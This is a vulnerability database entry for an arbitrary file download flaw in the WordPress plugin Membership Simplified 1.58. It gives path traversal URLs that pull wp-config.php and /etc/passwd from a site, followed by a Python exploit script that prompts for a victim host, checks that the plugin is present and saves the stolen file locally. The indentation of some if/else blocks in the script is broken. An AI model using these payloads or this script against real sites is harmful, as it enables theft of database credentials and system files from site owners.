Wordpress Plugin Membership Simplified 1.58 - arbitrary File Download

2017-03-20T00:00:00
ID SSV:92800
Type seebug
Reporter Grant
Modified 2017-03-20T00:00:00

Description

Vulnerability title: Wordpress Plugin Membership Simplified 1.58 - arbitrary File Download

Vulnerability type: arbitrary File Download

Vulnerability impact: Membership Simplified 1.58

Vulnerabilities exist in the url:

/wp-content/plugins/membership-simplified-for-oap-members-only/download.php

Vulnerability details:

/wp-content/plugins/membership-simplified-for-oap-members-only/download.php

Vulnerability in download. php file

Using the parameters in download_file File Download, without any Defense, resulting in arbitrary File Download vulnerability.

Exploit

1, Download wp-config. php file

/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=..././..././..././wp-config.php

2, Download the/etc/passwd file

/wp-content/plugins/membership-simplified-for-oap-members-only/download. php? download_file=..././..././..././..././..././..././..././..././ etc/passwd
                                        
                                            
                                                import requests
import string
import random
from urlparse import urlparse
 
print "---------------------------------------------------------------------"
print "Wordpress Plugin Membership Simplified v1.58 - Arbitrary File Download\nDiscovery: Larry W. Cashdollar\nExploit Author: Munir Njiru\nWebsite: https://www.alien-within.com\nCVE-2017-1002008\nCWE: 23\n\nReference URLs:\nhttp://www.vapidlabs.com/advisory.php?v=187"
print "---------------------------------------------------------------------"
victim = raw_input("Please Enter victim host e.g. http://example.com: ")
file_choice=raw_input ("\n Please choose a number representing the file to attack: \n1. Wordpress Config \n2. Linux Passwd File\n")
if file_choice == "1":
    payload="..././..././..././wp-config.php"
elif file_choice == "2":
    payload="..././..././..././..././..././..././..././..././etc/passwd"
else:
    print "Invalid Download choice, Please choose 1 or 2; Alternatively you can re-code me toI will now exit"
    quit()  
slug = "/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file="+payload
target=victim+slug
def randomizeFile(size=6, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
     
def checkPlugin():
    pluginExists = requests.get(victim+"/wp-content/plugins/membership-simplified-for-oap-members-only/download.php")
    pluginExistence = pluginExists.status_code
    if pluginExistence == 200:
        print "\nI can reach the target & it seems vulnerable, I will attempt the exploit\nRunning exploit..."
        exploit()
    else:
        print "Target has a funny code & might not be vulnerable, I will now exit\n"
        quit()
      
def exploit():
     
    getThatFile = requests.get(target)
    fileState = getThatFile.status_code
    breakApart=urlparse(victim)
    extract_hostname=breakApart.netloc  
    randomDifferentiator=randomizeFile()
    cleanName=str(randomDifferentiator)
    if fileState == 200:
    respFromThatFile = getThatFile.text
    if file_choice == "1":
        resultFile=extract_hostname+"_config_"+cleanName+".txt"
        print resultFile
        pwned=open(resultFile, 'w')
        pwned.write(respFromThatFile)
        pwned.close
        print "Wordpress Config Written to "+resultFile
    else:
        resultFile=extract_hostname+"_passwd"+cleanName+".txt"
        pwned=open(resultFile, 'w')
        pwned.write(respFromThatFile)
        pwned.close
        print "Passwd File Written to "+resultFile
    else: 
    print "I am not saying it was me but it was me! Something went wrong when I tried to get the file. The server responded with: \n" +fileState
   
if __name__ == "__main__":
    checkPlugin()